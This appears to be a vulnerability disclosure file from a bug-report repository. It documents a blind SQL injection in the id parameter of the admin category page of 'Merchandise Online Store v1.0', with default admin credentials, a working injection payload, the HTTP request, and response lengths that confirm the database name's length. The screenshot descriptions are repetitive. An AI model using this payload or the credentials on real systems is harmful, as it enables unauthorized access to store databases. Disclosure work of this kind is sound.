

main

...

bug_report / vendors / oretnom23 / merchandise-online-store / SQLi-11.md



debug601 Create SQLi-11.md

History

1 contributor

37 lines (25 sloc) | 1.58 KB

...

Merchandise Online Store v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html>

Vulnerability File: /vloggers_merch/admin/?page=maintenance/manage_category&id=

Vulnerability location: /vloggers_merch/admin/?
page=maintenance/manage_category&id=,id

[+] Payload: /vloggers_merch/admin/?
page=maintenance/manage_category&id=2%27%20and%20length(database())%20=17--+
// Leak place ---> id

Current database name: vloggers_merch_db,length is 17

```
GET /vloggers_merch/admin/?page=maintenance/manage_category&id=2%27%20and%20length(d
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

When length (database ()) = 16, Content-Length: 26268

The screenshot displays a web browser window with the address bar showing the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2%27%20and%20length(database())%20=16--+`. The browser's developer tools are open, showing the network tab with a single request. The request headers include: `GET /vloggers_merch/admin/?page=maintenance/manage_category&id=2%27%20and%20length(database())%20=16--+ HTTP/1.1`, `Host: 192.168.1.19`, `User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0`, `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, `Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3`, `Accept-Encoding: gzip, deflate`, `DNT: 1`, and `Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k`. The response headers show: `HTTP/1.1 200 OK`, `Date: Thu, 05 May 2022 09:46:22 GMT`, `Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7`, `X-Powered-By: PHP/8.0.7`, `Expires: Thu, 19 Nov 1981 08:52:00 GMT`, `Cache-Control: no-store, no-cache, must-revalidate`, `Pragma: no-cache`, `Access-Control-Allow-Origin: *`, `Connection: close`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 26268`. The browser's address bar shows the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2' and length(database()) = 16--+`. The browser's developer tools show the response body as HTML, with the following code visible: `<!DOCTYPE html>`, `<html lang="en" class="" style="height: auto;">`, `<head>`, `<meta charset="utf-8">`, and `<meta name="viewport" content="width=device-width, initial-scale=1">`. The browser's address bar shows the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2' and length(database()) = 16--+`. The browser's developer tools show the response body as HTML, with the following code visible: `<!DOCTYPE html>`, `<html lang="en" class="" style="height: auto;">`, `<head>`, `<meta charset="utf-8">`, and `<meta name="viewport" content="width=device-width, initial-scale=1">`. The browser's address bar shows the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2' and length(database()) = 16--+`. The browser's developer tools show the response body as HTML, with the following code visible: `<!DOCTYPE html>`, `<html lang="en" class="" style="height: auto;">`, `<head>`, `<meta charset="utf-8">`, and `<meta name="viewport" content="width=device-width, initial-scale=1">`.

When length (database ()) = 17, Content-Length: 26317

The screenshot displays a web browser window with the address bar showing the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2%27%20and%20length(database())%20=17--+`. The browser's developer tools are open, showing the network tab with a single request. The request headers include: `GET /vloggers_merch/admin/?page=maintenance/manage_category&id=2%27%20and%20length(database())%20=17--+ HTTP/1.1`, `Host: 192.168.1.19`, `User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0`, `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, `Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3`, `Accept-Encoding: gzip, deflate`, `DNT: 1`, and `Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k`. The response headers show: `HTTP/1.1 200 OK`, `Date: Thu, 05 May 2022 09:46:00 GMT`, `Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7`, `X-Powered-By: PHP/8.0.7`, `Expires: Thu, 19 Nov 1981 08:52:00 GMT`, `Cache-Control: no-store, no-cache, must-revalidate`, `Pragma: no-cache`, `Access-Control-Allow-Origin: *`, `Connection: close`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 26317`. The browser's address bar shows the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2' and length(database()) = 17--+`. The browser's developer tools show the response body as HTML, with the following code visible: `<!DOCTYPE html>`, `<html lang="en" class="" style="height: auto;">`, `<head>`, `<meta charset="utf-8">`, and `<meta name="viewport" content="width=device-width, initial-scale=1">`. The browser's address bar shows the URL: `http://192.168.1.19/vloggers_merch/admin/?page=maintenance/manage_category&id=2' and length(database()) = 17--+`. The browser's developer tools show the response body as HTML, with the following code visible: `<!DOCTYPE html>`, `<html lang="en" class="" style="height: auto;">`, `<head>`, `<meta charset="utf-8">`, and `<meta name="viewport" content="width=device-width, initial-scale=1">`.

